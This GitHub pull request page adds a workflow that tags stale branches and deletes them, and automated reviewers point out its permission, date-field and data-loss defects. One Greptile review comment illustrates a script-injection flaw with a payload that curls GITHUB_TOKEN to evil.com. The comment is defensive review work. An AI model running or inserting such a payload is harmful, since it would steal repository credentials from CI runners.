Skip to content

Add workflow to tag and delete stale branches#7361

Open
Copilot wants to merge 2 commits intomainfrom
copilot/tag-and-delete-stale-branches
Open

Add workflow to tag and delete stale branches#7361
Copilot wants to merge 2 commits intomainfrom
copilot/tag-and-delete-stale-branches

Conversation

Copy link
Copy Markdown
Contributor

Copilot AI commented Mar 15, 2026

Purpose

Adds a manually-triggered GitHub Actions workflow that preserves stale branches as tags before deleting them, cleaning up the ~87 dormant branches cluttering the repository.


Scope

  • Bug fix (behavior change)
  • Refactor (no behavior change)
  • Documentation update
  • Formatting / code cleanup
  • Dependency / build update
  • New feature

Description

Problem

The repository has accumulated ~130 branches, with ~87 of them stale (no commits in 90+ days, no open PRs). These include old v1/v2 maintenance branches, retired codename branches (blueberry, blackberry, raspberry), and dozens of merged/abandoned copilot/*, feat/*, feature/*, and patch/* branches.

Solution

New workflow: .github/workflows/cleanup-stale-branches.yml

Logic:

  • Identifies stale branches: last author commit older than days_stale (default: 90) AND no open PR targeting the branch
  • Skips main, master, and all release/* / patch/* prefixed branches unconditionally
  • For each stale branch: creates a git tag with the exact branch name (preserving the tip SHA), then deletes the branch
  • Skips tag creation silently if a same-named tag already exists (e.g. 2.10.x)

Inputs:

Input Default Description
days_stale 90 Inactivity threshold in days
dry_run true Preview only — no tags created, no branches deleted

Default to dry-run so the first trigger is always a safe preview.


Verification

Steps:

  1. Navigate to Actions → Tag and Delete Stale Branches → Run workflow
  2. Run with dry_run: true (default) — inspect the log output listing all branches that would be tagged and deleted
  3. Re-run with dry_run: false to execute; confirm tags created and branches removed

Expected outcome:

Dry run lists ~87 stale branches. Live run creates a matching tag for each (where one doesn't already exist) and removes the branch. All protected branches (main, release/*, open-PR branches) are untouched.


Screenshots / Recordings (if applicable)

N/A


Commit Convention

feat: — new workflow, no existing behavior changed


Checklist

  • The PR is focused on a single concern
  • Commit messages follow the recommended convention
  • Tests added or updated (if applicable)
  • Documentation updated (if applicable)
  • No unrelated cleanup included
  • All tests pass

💬 Send tasks to Copilot coding agent from Slack and Teams to turn conversations into code. Copilot posts an update in your thread when it's finished.

Co-authored-by: sfmskywalker <938393+sfmskywalker@users.noreply.github.com>
Copilot AI changed the title [WIP] Tag and delete stale branches Add workflow to tag and delete stale branches Mar 15, 2026
Copilot AI requested a review from sfmskywalker March 15, 2026 21:37
@sfmskywalker sfmskywalker marked this pull request as ready for review April 11, 2026 09:04
@sfmskywalker sfmskywalker requested a review from Copilot April 11, 2026 09:05
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a manually-triggered GitHub Actions workflow to help reduce long-lived repository branch clutter by identifying stale branches, (optionally) tagging them for preservation, and deleting them.

Changes:

  • Introduces a new workflow_dispatch action with days_stale and dry_run inputs.
  • Implements branch enumeration + staleness detection, optional tag creation, and branch deletion via actions/github-script.

type: boolean

permissions:
contents: write
Copy link

Copilot AI Apr 11, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The workflow calls github.rest.pulls.list(...), but the workflow-level permissions only grants contents: write. When permissions is set explicitly, other scopes default to none, so the PR-listing API call will 403 unless you also grant pull-requests: read (or remove the explicit permissions block and rely on repo defaults).

Suggested change
contents: write
contents: write
pull-requests: read

Copilot uses AI. Check for mistakes.
Comment on lines +56 to +75
// Get all open PR head branches
console.log('Fetching open pull requests...');
const openPrBranches = new Set();
let prPage = 1;
while (true) {
const prs = await github.rest.pulls.list({
owner,
repo,
state: 'open',
per_page: 100,
page: prPage,
});
if (prs.data.length === 0) break;
for (const pr of prs.data) {
openPrBranches.add(pr.head.ref);
}
if (prs.data.length < 100) break;
prPage++;
}
console.log(`Found ${openPrBranches.size} branches with open pull requests.`);
Copy link

Copilot AI Apr 11, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The PR description says branches are excluded when there is an open PR targeting the branch, but the implementation only collects pr.head.ref (source branches). This can delete a branch that is the base (pr.base.ref) of an open PR. Consider also tracking base refs (or switching to base refs) to ensure branches that are PR targets are never deleted.

Copilot uses AI. Check for mistakes.
Comment on lines +187 to +217
// Create tag if it doesn't already exist
if (existingTags.has(name)) {
console.log(` Tag '${name}' already exists, skipping tag creation.`);
tagSkipped++;
} else {
try {
await github.rest.git.createRef({
owner,
repo,
ref: `refs/tags/${name}`,
sha,
});
console.log(` Created tag '${name}' at ${sha}.`);
existingTags.add(name);
tagged++;
} catch (e) {
console.log(` ERROR creating tag '${name}': ${e.message}`);
errors++;
continue;
}
}

// Delete the branch
try {
await github.rest.git.deleteRef({
owner,
repo,
ref: `heads/${name}`,
});
console.log(` Deleted branch '${name}'.`);
deleted++;
Copy link

Copilot AI Apr 11, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If a tag with the same name already exists, the workflow skips tag creation but still proceeds to delete the branch. If the existing tag does not point at the branch tip SHA, this can permanently lose commits. Consider verifying that the existing tag resolves to the same SHA before deleting, and if it differs either fail the run or create an alternate archive tag name.

Copilot uses AI. Check for mistakes.
Comment on lines +20 to +26
jobs:
cleanup:
name: Tag and delete stale branches
runs-on: ubuntu-latest
steps:
- name: Tag and delete stale branches
uses: actions/github-script@v7
Copy link

Copilot AI Apr 11, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Because this is a destructive workflow_dispatch workflow, it can be executed from any branch that contains the workflow file (the runner UI allows selecting the ref). Consider adding a guard (e.g., job/step if:) that only allows execution when github.ref_name equals the repository default branch, to reduce the risk of running a modified cleanup workflow from a non-default ref.

Copilot uses AI. Check for mistakes.
@greptile-apps
Copy link
Copy Markdown
Contributor

greptile-apps Bot commented Apr 11, 2026

Greptile Summary

This PR adds a manually-triggered workflow_dispatch GitHub Actions workflow that identifies stale branches (no commits in 90+ days, no open PRs), preserves each as a git tag, then deletes the branch. Two P1 issues need to be resolved before merging.

  • Script injection: ${{ inputs.days_stale }} is interpolated directly into the github-script JavaScript, allowing anyone with write access to inject arbitrary code into the runner process. Inputs must be passed via env: variables and read through process.env.
  • Wrong date field for staleness: commit.data.author.date is used instead of commit.data.committer.date; rebased or cherry-picked branches will show an old author date even after a recent push, causing live branches to be incorrectly tagged and deleted.

Confidence Score: 2/5

Not safe to merge — two P1 defects could cause live branch deletion of recently-active branches and expose the runner's GITHUB_TOKEN via script injection.

The script-injection vulnerability (P1) and the author.date/committer.date confusion (P1) are both present defects: one is a current security anti-pattern that runs with contents:write credentials, and the other will silently delete branches that have had recent pushes via rebase or cherry-pick. Both need to be addressed before the workflow is run against the real repository.

.github/workflows/cleanup-stale-branches.yml — the only changed file; both P1 issues are in the inline github-script block.

Security Review

  • Script injection (.github/workflows/cleanup-stale-branches.yml line 30): ${{ inputs.days_stale }} is template-expanded directly inside the github-script JavaScript block before it is parsed. Any user with workflow_dispatch permission (write access) can inject arbitrary Node.js code that runs with GITHUB_TOKEN in scope (which has contents: write). Fix: bind the input to an env: variable and read it via process.env.

Important Files Changed

Filename Overview
.github/workflows/cleanup-stale-branches.yml New manually-triggered workflow that tags and deletes stale branches; has a script injection vulnerability (P1) and uses author.date instead of committer.date (P1), which can cause recently-active branches to be erroneously deleted.

Flowchart

%%{init: {'theme': 'neutral'}}%%
flowchart TD
    A([workflow_dispatch\ndays_stale / dry_run]) --> B[Fetch open PR branches]
    B --> C[Fetch all branches]
    C --> D[Fetch existing tags]
    D --> E{For each branch}
    E --> F{Protected name?\nmain / master}
    F -->|yes| SKIP[Skip branch]
    E --> G{Protected prefix?\nrelease/ patch/}
    G -->|yes| SKIP
    E --> H{Has open PR?}
    H -->|yes| SKIP
    E --> I[Get tip commit\ngit.getCommit]
    I --> J{committer.date\n< cutoff?}
    J -->|no - recently active| SKIP
    J -->|yes - stale| K[Add to staleBranches]
    K --> L{dry_run?}
    L -->|true| M[Log DRY RUN preview]
    L -->|false| N{Tag already\nexists?}
    N -->|yes| O[Skip tag creation]
    N -->|no| P[git.createRef\nrefs/tags/name]
    P -->|error| ERR[Log error / skip deletion]
    P -->|ok| Q[git.deleteRef\nheads/name]
    O --> Q
    Q -->|error| ERR2[Log error]
    Q -->|ok| R[Deleted]
    ERR2 --> E
    R --> E
    M --> E
    SKIP --> E
    E -->|done| S[Print summary]
    S --> T{errors > 0?}
    T -->|yes| FAIL([core.setFailed])
    T -->|no| PASS([Workflow success])
Loading

Reviews (1): Last reviewed commit: "feat: add GitHub Actions workflow to tag..." | Re-trigger Greptile

Comment on lines +30 to +32
const parsedDays = parseInt('${{ inputs.days_stale }}', 10);
const daysStale = isNaN(parsedDays) || parsedDays <= 0 ? 90 : parsedDays;
const dryRun = '${{ inputs.dry_run }}' === 'true';
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Script injection via direct input interpolation

${{ inputs.days_stale }} is template-expanded before the JavaScript is parsed, so a user with workflow_dispatch access (i.e., write permission) can inject arbitrary JS by supplying a value like '; require('child_process').execSync('curl https://evil.com/?t='+process.env.GITHUB_TOKEN); //. The safe pattern per GitHub's security hardening guide is to bind inputs to environment variables and read them from process.env.

Suggested change
const parsedDays = parseInt('${{ inputs.days_stale }}', 10);
const daysStale = isNaN(parsedDays) || parsedDays <= 0 ? 90 : parsedDays;
const dryRun = '${{ inputs.dry_run }}' === 'true';
const parsedDays = parseInt(process.env.DAYS_STALE, 10);
const daysStale = isNaN(parsedDays) || parsedDays <= 0 ? 90 : parsedDays;
const dryRun = process.env.DRY_RUN === 'true';

Then add an env: block on the step:

        env:
          DAYS_STALE: ${{ inputs.days_stale }}
          DRY_RUN: ${{ inputs.dry_run }}

repo,
commit_sha: sha,
});
commitDate = new Date(commit.data.author.date);
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 author.date used instead of committer.date for staleness check

commit.data.author.date records when the commit was originally written, not when it was pushed to this branch. For rebased or cherry-picked commits the author date can be months or years older than the actual push date. A branch that was actively rebased or had commits cherry-picked onto it yesterday (all with old author dates) would be misidentified as stale and deleted. commit.data.committer.date reflects when the commit was applied and is the correct field for measuring branch activity.

Suggested change
commitDate = new Date(commit.data.author.date);
commitDate = new Date(commit.data.committer.date);

Comment on lines +44 to +48
// Branch prefixes that should never be deleted
const protectedPrefixes = [
'release/',
'patch/',
];
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 patch/ protection conflicts with stated cleanup targets

The PR description lists patch/* branches as among the stale branches targeted for deletion ("dozens of merged/abandoned copilot/*, feat/*, feature/*, and patch/* branches"), but the code unconditionally protects all patch/-prefixed branches. If the intent is to preserve only version-maintenance branches (patch/2.x, patch/3.x) while still cleaning up feature-style patch/fix-foo branches, a more specific guard (e.g., a regex for patch/\d) would be needed. If protecting all patch/* is intentional, the problem statement in the description should be updated.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants